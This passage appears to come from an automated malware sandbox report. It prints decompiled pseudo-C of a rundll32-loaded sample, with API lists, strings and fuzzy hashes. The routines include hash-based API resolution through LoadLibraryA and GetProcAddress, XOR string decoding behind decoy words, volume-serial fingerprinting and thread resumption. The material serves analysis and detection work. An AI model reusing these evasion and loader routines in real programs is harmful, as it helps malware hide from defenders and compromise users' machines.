					if( *((intOrPtr*)(_t122 + 0xf0))() == 0) {
						_t139 =  *0xf10fa0; // 0x494f8a0
						 *((intOrPtr*)(_t139 + 0x10c))(_t207, L"C:");
					}
					_v8 = 0x7f;
					_t61 = _t199 + 0x199c; // 0x199c
					_t126 =  *0xf10fa0; // 0x494f8a0
					 *((intOrPtr*)(_t126 + 0xc0))(_t61,  &_v8);
					_t64 = _t199 + 0x100c; // 0x100c
					E00F04A2A(E00EFE605(_t64, E00EFCE25(_t64), 0),  &_v2644);
					_t65 = _t199 + 0x1858; // 0x1858
					E00F049FC( &_v2644, _t65, 0x20);
					_push( &_v2644);
					_push(0x1e);
					_t68 = _t199 + 0x1878; // 0x1878
					_t198 = 0x14;
					E00EF962B(_t68, _t198);
					_t137 = E00EFB501(_t68, _t198); // executed
					 *((intOrPtr*)(_t199 + 0x1898)) = _t137;
					return _t199;
				}
				return _t70;
			}

0x00efbb4d
0x00efbb57
0x00efbb63
0x00efbb68
0x00efbb6d
0x00efbb7a
0x00efbb80
0x00efbb85
0x00efbb8b
0x00efbb9b
0x00efbba0
0x00efbba5
0x00efbba5
0x00efbbad
0x00efbbb2
0x00efbbb3
0x00efbbbd
0x00efbbc6
0x00efbbc6
0x00efbbcc
0x00efbbd9
0x00efbbde
0x00efbbe4
0x00efbbed
0x00efbbfb
0x00efbc02
0x00efbc07
0x00efbc07
0x00efbc08
0x00efbbef
0x00efbbef
0x00efbbef
0x00efbc0e
0x00efbc14
0x00efbc19
0x00efbc1f
0x00efbc24
0x00efbc2a
0x00efbc2a
0x00efbc33
0x00efbc39
0x00efbc3d
0x00efbc44
0x00efbc4b
0x00efbc52
0x00efbc56
0x00efbc5d
0x00efbc5e
0x00efbc60
0x00efbc65
0x00efbc6c
0x00efbc6e
0x00efbc6e
0x00efbc74
0x00efbc7e
0x00efbc83
0x00efbc83
0x00efbc8e
0x00efbc9b
0x00efbcae
0x00efbc9d
0x00efbc9f
0x00efbc9f
0x00efbcb3
0x00efbcb8
0x00efbcbe
0x00efbcc0
0x00efbcc9
0x00efbcc9
0x00efbcd1
0x00efbcd6
0x00efbcd6
0x00efbcdc
0x00efbce7
0x00efbcec
0x00efbcf4
0x00efbcfa
0x00efbd02
0x00efbd14
0x00efbd1a
0x00efbd22
0x00efbd27
0x00efbd34
0x00efbd45
0x00efbd4b
0x00efbd50
0x00efbd53
0x00efbd56
0x00efbd63
0x00efbd69
0x00efbd73
0x00efbd73
0x00efbd79
0x00efbd81
0x00efbd8c
0x00efbd91
0x00efbd97
0x00efbd99
0x00efbda6
0x00efbda7
0x00efbda8
0x00efbdb3
0x00efbdb5
0x00efbdbc
0x00efbdbc
0x00efbdc6
0x00efbdcb
0x00efbdd0
0x00efbdd0
0x00efbdd6
0x00efbddd
0x00efbdde
0x00efbdeb
0x00efbdfe
0x00efbe03
0x00efbe08
0x00efbe11
0x00efbe11
0x00efbe17
0x00efbe1c
0x00efbe22
0x00efbe28
0x00efbe2d
0x00efbe36
0x00efbe38
0x00efbe3f
0x00efbe3f
0x00efbe45
0x00efbe4d
0x00efbe52
0x00efbe53
0x00efbe58
0x00efbe61
0x00efbe63
0x00efbe6e
0x00efbe6e
0x00efbe77
0x00efbe7f
0x00efbe86
0x00efbe8b
0x00efbe9a
0x00efbeb2
0x00efbeb9
0x00efbec7
0x00efbed2
0x00efbed3
0x00efbed7
0x00efbedd
0x00efbede
0x00efbee6
0x00efbeeb
0x00000000
0x00efbef3
0x00efbef7

APIs

GetCurrentProcessId.KERNEL32(?,?,00000000), ref: 00EFBB74
GetLastError.KERNEL32(?,?,00000000), ref: 00EFBC6E
GetVersionExA.KERNEL32(00000000,?,?,00000000), ref: 00EFBD56

Part of subcall function 00EFDC83: FindCloseChangeNotification.KERNELBASE(?,00001644,00000000,00EF0000), ref: 00EFDD27

GetWindowsDirectoryW.KERNEL32(00001020,00000104,?,?,00000000), ref: 00EFBD81

Strings

SystemDrive, xrefs: 00EFBE4D, 00EFBE58, 00EFBE6D
TEMP, xrefs: 00EFBE22, 00EFBE2D, 00EFBE3E
%s\%s, xrefs: 00EFBDF3
TEMP, xrefs: 00EFBDED
USERPROFILE, xrefs: 00EFBDDE, 00EFBE0C

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: ChangeCloseCurrentDirectoryErrorFindLastNotificationProcessVersionWindows
String ID: %s\%s$SystemDrive$TEMP$TEMP$USERPROFILE
API String ID: 3040727122-2706916422
Opcode ID: 8f29130e44b5077a8446ab73d987ff627ef70dbb967ebc29901c614366d7827a
Instruction ID: d4006ebe5bf46270aed9bd294f2d5a538033d7d43fdc0614b94290362075c1c1
Opcode Fuzzy Hash: 8f29130e44b5077a8446ab73d987ff627ef70dbb967ebc29901c614366d7827a
Instruction Fuzzy Hash: 3DA17D71700609AFD714EF74DC4ABEAB7E8FF48300F005169F649A7292EF70AA459B91

Uniqueness

Uniqueness Score: -1.00%

Function 00EFA664 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 145
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EFA664(WCHAR* __edx) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				WCHAR* _v24;
				char _v28;
				char _v29;
				intOrPtr _v40;
				short _v44;
				void* __ebx;
				signed int _t48;
				signed int _t57;
				intOrPtr _t60;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t65;
				intOrPtr _t67;
				intOrPtr _t69;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				char _t80;
				char _t94;
				signed int _t96;
				char _t97;
				signed int _t98;
				signed int _t99;
				signed int _t100;
				void* _t102;
				void* _t103;

				_t95 = __edx;
				_t80 = 0;
				_v24 = __edx;
				_v20 = 0;
				_v8 = 0;
				_t48 = E00EFCE25("endless");
				_t96 = _t48;
				_v29 = 0;
				_t98 = 0xf;
				if(_t96 <= _t98) {
					__eflags = _t96;
					if(_t96 == 0) {
						goto L5;
					}
					goto L3;
				} else {
					_t96 = _t98;
					L3:
					_t94 = _t80;
					do {
						_t5 = _t94 + 0x41; // 0x41
						 *((char*)(_t102 + _t94 - 0x28)) = _t5;
						_t94 = _t94 + 1;
					} while (_t94 < _t96);
					L5:
					lstrlenW( &_v44);
					_t97 = E00EFA543( &_v20);
					_v28 = _t97;
					if(_t97 != 0) {
						_t99 = _v20;
						_v16 = _t80;
						__eflags = _t99;
						if(_t99 == 0) {
							L27:
							E00EF913B( &_v28, _t80);
							return _v8;
						} else {
							goto L11;
						}
						while(1) {
							L11:
							__eflags = _v8 - _t80;
							if(_v8 != _t80) {
								break;
							}
							_t100 = _v8;
							_v12 = 1;
							do {
								__eflags = _t100;
								if(_t100 != 0) {
									break;
								}
								E00EF92A2( &_v44, _t80, 0x10);
								_t60 =  *0xf10fd8; // 0x494fc50
								_t103 = _t103 + 0xc;
								__eflags =  *(_t60 + 0x1898) & 0x00000200;
								if(__eflags != 0) {
									E00EFE15A(_t80, _t95, __eflags);
								}
								_t95 =  &_v44;
								_t62 = E00EFCA94( *((intOrPtr*)(_t97 + _v16 * 4)),  &_v44); // executed
								__eflags = _t62;
								if(_t62 >= 0) {
									_t95 =  &_v44;
									_t71 = E00EFA823(0xef13b8,  &_v44, _v24, _v12); // executed
									__eflags = _t71;
									if(__eflags != 0) {
										_t72 = E00EFA952( &_v44, __eflags); // executed
										__eflags = _t72;
										if(_t72 != 0) {
											_t100 = 1;
											__eflags = 1;
										}
									}
								}
								__eflags = _v44 - _t80;
								if(_v44 != _t80) {
									__eflags = _t100;
									if(_t100 == 0) {
										_t69 =  *0xf10fa0; // 0x494f8a0
										 *((intOrPtr*)(_t69 + 0x114))(_v44, _t80);
									}
									_t65 =  *0xf10fa0; // 0x494f8a0
									 *((intOrPtr*)(_t65 + 0x34))(_v40);
									_t67 =  *0xf10fa0; // 0x494f8a0
									 *((intOrPtr*)(_t67 + 0x34))(_v44);
								}
								_t64 = _v12 + 1;
								_v12 = _t64;
								__eflags = _t64 - 2;
							} while (_t64 <= 2);
							_t57 = _v16 + 1;
							_v8 = _t100;
							_t99 = _v20;
							_v16 = _t57;
							__eflags = _t57 - _t99;
							if(_t57 < _t99) {
								continue;
							} else {
								break;
							}
							do {
								goto L26;
							} while (_t99 != 0);
							goto L27;
						}
						L26:
						E00EF913B(_t97, 0xfffffffe);
						_t97 = _t97 + 4;
						_t99 = _t99 - 1;
						__eflags = _t99;
					}
					_t74 = E00EFCE25("appear");
					_v29 = _t80;
					if(_t74 > _t98) {
						do {
							L8:
							_t12 = _t80 + 0x41; // 0x41
							 *((char*)(_t102 + _t80 - 0x28)) = _t12;
							_t80 = _t80 + 1;
						} while (_t80 < _t98);
						L9:
						lstrlenW( &_v44);
						return 0;
					}
					_t98 = _t74;
					if(_t98 == 0) {
						goto L9;
					}
					goto L8;
				}
			}

0x00efa664
0x00efa66d
0x00efa66f
0x00efa677
0x00efa67a
0x00efa67d
0x00efa685
0x00efa687
0x00efa68a
0x00efa68d
0x00efa693
0x00efa695
0x00000000
0x00000000
0x00000000
0x00efa68f
0x00efa68f
0x00efa697
0x00efa697
0x00efa699
0x00efa699
0x00efa69c
0x00efa6a0
0x00efa6a1
0x00efa6a5
0x00efa6a9
0x00efa6b7
0x00efa6b9
0x00efa6be
0x00efa6f5
0x00efa6f8
0x00efa6fb
0x00efa6fd
0x00efa7e7
0x00efa7ec
0x00000000
0x00000000
0x00000000
0x00000000
0x00efa703
0x00efa703
0x00efa703
0x00efa706
0x00000000
0x00000000
0x00efa70c
0x00efa70f
0x00efa716
0x00efa716
0x00efa718
0x00000000
0x00000000
0x00efa725
0x00efa72a
0x00efa72f
0x00efa732
0x00efa73c
0x00efa743
0x00efa743
0x00efa74b
0x00efa751
0x00efa756
0x00efa758
0x00efa75d
0x00efa768
0x00efa76f
0x00efa771
0x00efa776
0x00efa77b
0x00efa77d
0x00efa781
0x00efa781
0x00efa781
0x00efa77d
0x00efa771
0x00efa782
0x00efa785
0x00efa787
0x00efa789
0x00efa78b
0x00efa794
0x00efa794
0x00efa79a
0x00efa7a2
0x00efa7a5
0x00efa7ad
0x00efa7ad
0x00efa7b3
0x00efa7b4
0x00efa7b7
0x00efa7b7
0x00efa7c3
0x00efa7c4
0x00efa7c7
0x00efa7ca
0x00efa7cd
0x00efa7cf
0x00000000
0x00000000
0x00000000
0x00000000
0x00efa7d5
0x00000000
0x00000000
0x00000000
0x00efa7d5
0x00efa7d5
0x00efa7d8
0x00efa7de
0x00efa7e2
0x00efa7e2
0x00efa7e2
0x00efa6c5
0x00efa6ca
0x00efa6d0
0x00efa6d8
0x00efa6d8
0x00efa6d8
0x00efa6db
0x00efa6df
0x00efa6e0
0x00efa6e4
0x00efa6e8
0x00000000
0x00efa6ee
0x00efa6d2
0x00efa6d6
0x00000000
0x00000000
0x00000000
0x00efa6d6

APIs

lstrlenW.KERNEL32(?,?,00000001,00000000), ref: 00EFA6A9
lstrlenW.KERNEL32(?,?,00000001,00000000), ref: 00EFA6E8

Part of subcall function 00EF92A2: memset.MSVCRT ref: 00EF92B4

Strings

endless, xrefs: 00EFA672
appear, xrefs: 00EFA6C0

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: lstrlen$memset
String ID: appear$endless
API String ID: 3887242890-2536025861
Opcode ID: ed1760f7a5246eab421a2fa136601d2d13152af9b8295aa012e49f85bd50de20
Instruction ID: b6d5bdc9b6b243af2cab45f837b5c7d97caf22fa803aa23759016377ed04a02d
Opcode Fuzzy Hash: ed1760f7a5246eab421a2fa136601d2d13152af9b8295aa012e49f85bd50de20
Instruction Fuzzy Hash: 8D41D4B1D0121D9FCF11EF94C9859FDBBB5EB48324F29107AEA05BB281EB309D418B91

Uniqueness

Uniqueness Score: -1.00%

Function 00EF92F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EF92F0(void* __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v92;
				intOrPtr _t41;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				void* _t56;
				struct HINSTANCE__* _t58;
				_Unknown_base(*)()* _t59;
				intOrPtr _t60;
				void* _t62;
				intOrPtr _t63;
				void* _t69;
				char _t70;
				void* _t75;
				CHAR* _t80;
				void* _t82;

				_t75 = __ecx;
				_v12 = __edx;
				_t60 =  *((intOrPtr*)(__ecx + 0x3c));
				_t41 =  *((intOrPtr*)(_t60 + __ecx + 0x78));
				if(_t41 == 0) {
					L4:
					return 0;
				}
				_t62 = _t41 + __ecx;
				_v24 =  *((intOrPtr*)(_t62 + 0x24)) + __ecx;
				_t73 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_t63 =  *((intOrPtr*)(_t62 + 0x18));
				_v28 =  *((intOrPtr*)(_t62 + 0x1c)) + __ecx;
				_t47 = 0;
				_v20 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_v8 = 0;
				_v16 = _t63;
				if(_t63 == 0) {
					goto L4;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t49 = E00EFE605( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75, E00EFCE25( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75), 0);
					_t51 = _v8;
					if((_t49 ^ 0x218fe95b) == _v12) {
						break;
					}
					_t73 = _v20;
					_t47 = _t51 + 1;
					_v8 = _t47;
					if(_t47 < _v16) {
						continue;
					}
					goto L4;
				}
				_t69 =  *((intOrPtr*)(_t60 + _t75 + 0x78)) + _t75;
				_t80 =  *((intOrPtr*)(_v28 + ( *(_v24 + _t51 * 2) & 0x0000ffff) * 4)) + _t75;
				if(_t80 < _t69 || _t80 >=  *((intOrPtr*)(_t60 + _t75 + 0x7c)) + _t69) {
					return _t80;
				} else {
					_t56 = 0;
					while(1) {
						_t70 = _t80[_t56];
						if(_t70 == 0x2e || _t70 == 0) {
							break;
						}
						 *((char*)(_t82 + _t56 - 0x58)) = _t70;
						_t56 = _t56 + 1;
						if(_t56 < 0x40) {
							continue;
						}
						break;
					}
					 *((intOrPtr*)(_t82 + _t56 - 0x58)) = 0x6c6c642e;
					 *((char*)(_t82 + _t56 - 0x54)) = 0;
					if( *((char*)(_t56 + _t80)) != 0) {
						_t80 =  &(( &(_t80[1]))[_t56]);
					}
					_t40 =  &_v92; // 0x6c6c642e
					_t58 = LoadLibraryA(_t40); // executed
					if(_t58 == 0) {
						goto L4;
					}
					_t59 = GetProcAddress(_t58, _t80);
					if(_t59 == 0) {
						goto L4;
					}
					return _t59;
				}
			}

0x00ef92f9
0x00ef92fb
0x00ef92fe
0x00ef9301
0x00ef9307
0x00ef9364
0x00000000
0x00ef9364
0x00ef9309
0x00ef9314
0x00ef9317
0x00ef931c
0x00ef9321
0x00ef9324
0x00ef9326
0x00ef9329
0x00ef932c
0x00ef9331
0x00000000
0x00000000
0x00000000
0x00000000
0x00ef9333
0x00ef9333
0x00ef9345
0x00ef9352
0x00ef9356
0x00000000
0x00000000
0x00ef9358
0x00ef935b
0x00ef935c
0x00ef9362
0x00000000
0x00000000
0x00000000
0x00ef9362
0x00ef9379
0x00ef937e
0x00ef9382
0x00000000
0x00ef938e
0x00ef938e
0x00ef9390
0x00ef9390
0x00ef9396
0x00000000
0x00000000
0x00ef939c
0x00ef93a0
0x00ef93a4
0x00000000
0x00000000
0x00000000
0x00ef93a4
0x00ef93aa
0x00ef93b2
0x00ef93b7
0x00ef93ba
0x00ef93ba
0x00ef93bc
0x00ef93c0
0x00ef93c8
0x00000000
0x00000000
0x00ef93cc
0x00ef93d4
0x00000000
0x00000000
0x00000000
0x00ef93d4

APIs

LoadLibraryA.KERNELBASE(.dll,?,00000144,00000000), ref: 00EF93C0
GetProcAddress.KERNEL32(00000000,?), ref: 00EF93CC

Strings

.dll, xrefs: 00EF93BC, 00EF93BF

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll
API String ID: 2574300362-2738580789
Opcode ID: 19ac4793a8b7dd4571d1b7b4a81f828f1342987bf86d48f3848540848cadf9f3
Instruction ID: dbb88092a27a1897072ea69523c30a6f9809b38f044aa40e957c4a9369000213
Opcode Fuzzy Hash: 19ac4793a8b7dd4571d1b7b4a81f828f1342987bf86d48f3848540848cadf9f3
Instruction Fuzzy Hash: 2A318E31A0125D9BCB24CF69C984BBEBBF9BF44308F285469DA85E7392D770D941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EFD04D Relevance: 4.6, APIs: 3, Instructions: 82
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00EFD04D(WCHAR* __ecx, WCHAR* __edx, void* __eflags) {
				long _v8;
				long _v12;
				WCHAR* _v16;
				char _v528;
				short _v1040;
				short _v1552;
				intOrPtr _t23;
				WCHAR* _t26;
				signed int _t28;
				void* _t32;
				long _t37;
				WCHAR* _t42;
				WCHAR* _t57;
				void* _t60;

				_v8 = _v8 & 0x00000000;
				_t42 = __edx;
				_t57 = __ecx;
				E00EF92A2(__edx, 0, 0x100);
				_v12 = 0x100;
				_t23 =  *0xf10fa0; // 0x494f8a0
				 *((intOrPtr*)(_t23 + 0xc0))( &_v12);
				E00EFC145(__edx,  &_v528, 0x100);
				 *((intOrPtr*)(_t60 + 0xc)) = 0x331;
				_t26 = E00EF90EA(__edx,  &_v528);
				_v16 = _t26;
				_t28 = GetVolumeInformationW(_t26,  &_v1552, 0x100,  &_v8, 0, 0,  &_v1040, 0x100);
				asm("sbb eax, eax");
				_v8 = _v8 &  ~_t28;
				E00EF9D66( &_v16);
				_t32 = E00EFCE3E(_t42);
				E00EFC08E( &(_t42[E00EFCE3E(_t42)]), 0x100 - _t32, L"%u", _v8);
				lstrcatW(_t42, _t57);
				_t37 = E00EFCE3E(_t42);
				_v12 = _t37;
				CharUpperBuffW(_t42, _t37);
				return E00EFE605(_t42, E00EFCE3E(_t42) + _t39, 0);
			}

0x00efd056
0x00efd062
0x00efd068
0x00efd06a
0x00efd072
0x00efd080
0x00efd085
0x00efd094
0x00efd099
0x00efd0a0
0x00efd0ad
0x00efd0c7
0x00efd0cc
0x00efd0ce
0x00efd0d5
0x00efd0e5
0x00efd0f6
0x00efd100
0x00efd108
0x00efd10f
0x00efd112
0x00efd12f

APIs

Part of subcall function 00EF92A2: memset.MSVCRT ref: 00EF92B4

GetVolumeInformationW.KERNELBASE(00000000,?,00000100,00000000,00000000,00000000,?,00000100), ref: 00EFD0C7

Part of subcall function 00EFC08E: _vsnwprintf.MSVCRT ref: 00EFC0AB

lstrcatW.KERNEL32(?,00000114), ref: 00EFD100
CharUpperBuffW.USER32(?,00000000), ref: 00EFD112

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: BuffCharInformationUpperVolume_vsnwprintflstrcatmemset
String ID:
API String ID: 3467380347-0
Opcode ID: ef8364ea76c07527ca47571bac6752a110f3595064170c44c583172e447c4c30
Instruction ID: 64f9e2207b01b4f71bdbb380861a0c934e84fed4dde0f7876e46cc5a4f139cc0
Opcode Fuzzy Hash: ef8364ea76c07527ca47571bac6752a110f3595064170c44c583172e447c4c30
Instruction Fuzzy Hash: FD2165B2A0121CBFD710ABB4DC4AFFE77BCEB44300F204169F645E7182EA746A049B60

Uniqueness

Uniqueness Score: -1.00%

Function 00EFDBAF Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00EFDBAF(union _TOKEN_INFORMATION_CLASS __edx, DWORD* _a4) {
				long _v8;
				void* _v12;
				void* _t12;
				void* _t20;
				void* _t22;
				union _TOKEN_INFORMATION_CLASS _t28;
				void* _t31;

				_push(_t22);
				_push(_t22);
				_t31 = 0;
				_t28 = __edx;
				_t20 = _t22;
				if(GetTokenInformation(_t20, __edx, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L6:
					_t12 = _t31;
				} else {
					_t31 = E00EF911F(_v8);
					_v12 = _t31;
					if(_t31 != 0) {
						if(GetTokenInformation(_t20, _t28, _t31, _v8, _a4) != 0) {
							goto L6;
						} else {
							E00EF913B( &_v12, _t16);
							goto L3;
						}
					} else {
						L3:
						_t12 = 0;
					}
				}
				return _t12;
			}

0x00efdbb2
0x00efdbb3
0x00efdbba
0x00efdbc2
0x00efdbc6
0x00efdbcf
0x00efdc15
0x00efdc15
0x00efdbdc
0x00efdbe4
0x00efdbe6
0x00efdbec
0x00efdc05
0x00000000
0x00efdc07
0x00efdc0c
0x00000000
0x00efdc12
0x00efdbee
0x00efdbee
0x00efdbee
0x00efdbee
0x00efdbec
0x00efdc1b

APIs

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,00000000,00001644,00EF0000,00000000,00000000,?,00EFDC30,00000000,00000000,?,00EFDC59), ref: 00EFDBCA
GetLastError.KERNEL32(?,00EFDC30,00000000,00000000,?,00EFDC59,00001644,?,00EFBBDE), ref: 00EFDBD1
GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,?,?,00EFDC30,00000000,00000000,?,00EFDC59,00001644,?,00EFBBDE), ref: 00EFDC00

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: InformationToken$ErrorLast
String ID:
API String ID: 2567405617-0
Opcode ID: e77b38d18e2418b8b57bf23a7fd4dbb841f2cdcfb918bdbbf0412074dccfb29e
Instruction ID: 19960e98bcbf7c60e635ff09eea6ecab3993d6c6ce609d831c59cf961b43c11c
Opcode Fuzzy Hash: e77b38d18e2418b8b57bf23a7fd4dbb841f2cdcfb918bdbbf0412074dccfb29e
Instruction Fuzzy Hash: A101F27260512CBF8B209BA5DD49DFBBFBDDE447A4B110025F602E2111E670DD40D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00EFA952 Relevance: 4.5, APIs: 3, Instructions: 44
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00EFA952(void* __ecx, void* __eflags) {
				char _v44;
				intOrPtr _t9;
				intOrPtr _t12;
				void* _t13;
				intOrPtr _t17;
				void* _t20;
				void* _t21;
				void* _t28;
				void* _t29;
				void* _t31;
				void* _t32;

				_t9 =  *0xf10fd8; // 0x494fc50
				_t1 = _t9 + 0xac; // 0x9816db53
				_t21 = __ecx;
				E00EFBFAB( &_v44,  *_t1 + 7, __eflags);
				_t32 = 0;
				_t12 =  *0xf10fa0; // 0x494f8a0
				_t13 =  *((intOrPtr*)(_t12 + 0xd4))(0, 0, 0,  &_v44, _t28, _t31, _t20);
				_t29 = _t13;
				if(_t29 != 0) {
					GetLastError();
					ResumeThread( *(_t21 + 4));
					_t17 =  *0xf10fa0; // 0x494f8a0
					_push(0x2710);
					_push(_t29);
					if( *((intOrPtr*)(_t17 + 0x30))() == 0) {
						_t32 = 1;
					}
					FindCloseChangeNotification(_t29);
					_t13 = _t32;
				}
				return _t13;
			}

0x00efa955
0x00efa95d
0x00efa965
0x00efa96e
0x00efa976
0x00efa979
0x00efa981
0x00efa987
0x00efa98b
0x00efa98d
0x00efa99b
0x00efa9a1
0x00efa9a6
0x00efa9ab
0x00efa9b1
0x00efa9b5
0x00efa9b5
0x00efa9bd
0x00efa9c0
0x00efa9c0
0x00efa9c6

APIs

GetLastError.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,00EF4C08), ref: 00EFA98D
ResumeThread.KERNELBASE(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,00EF4C08), ref: 00EFA99B
FindCloseChangeNotification.KERNELBASE(00000000,?,00000000,00000000,?,?,?,?,?,?,?,?,?,00EF4C08), ref: 00EFA9BD

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotificationResumeThread
String ID:
API String ID: 4135917582-0
Opcode ID: 3fd3da9899d59b82f4129d616efb5552fb61a1a199ad185b2418a2e4df86b33b
Instruction ID: 4497cd49bce7bfd42a5ac677c4e4559e6bed94ef3816a4538f3746564c46b859
Opcode Fuzzy Hash: 3fd3da9899d59b82f4129d616efb5552fb61a1a199ad185b2418a2e4df86b33b
Instruction Fuzzy Hash: CE01A2323011189FC7109B98EC89DEA7BFCEF49751F4A4078F605E7215CB709842CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EF9C9B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EF9C9B(intOrPtr __ecx, void* __edx, intOrPtr _a4, signed int _a12) {
				intOrPtr _v8;
				char _v88;
				int _t19;
				struct _numberfmt* _t29;
				signed int _t33;
				signed int _t34;
				struct _numberfmt* _t36;
				void* _t38;
				void* _t41;
				struct _numberfmt* _t44;
				signed int _t45;

				_t41 = __edx;
				_t45 = _a12;
				_t44 = 0;
				_v8 = __ecx;
				_t33 = 0;
				if(_t45 >= __edx) {
					L5:
					_t19 = GetNumberFormatA(0x7d3, 0xb4, "electricmadness", _t44,  &_v88, 0x22); // executed
					if(_t19 != 0) {
						_t36 = _t44;
						do {
							_t36 = _t36 + 1;
						} while (_t36 < 0x22);
						L11:
						_t38 = E00EF911F(2 + _t33 * 2);
						if(_t38 != 0) {
							if(_t33 == 0) {
								L15:
								return _t38;
							} else {
								goto L14;
							}
							do {
								L14:
								 *((short*)(_t38 + _t44 * 2)) = ( *((_t45 & 0x0000007f) + _a4) ^  *(_t45 + _v8)) & 0x000000ff;
								_t44 = _t44 + 1;
								_t45 = _t45 + 1;
							} while (_t44 < _t33);
							goto L15;
						}
						return 0xf110a8;
					}
					_t29 = _t44;
					do {
						_t29 = _t29 + 1;
					} while (_t29 < 0x14);
					goto L11;
				}
				while( *((_t45 & 0x0000007f) + _a4) !=  *(_t45 + _v8)) {
					_t45 = _t45 + 1;
					if(_t45 < _t41) {
						continue;
					}
					_t45 = _a12;
					goto L5;
				}
				_t34 = _t45;
				_t45 = _a12;
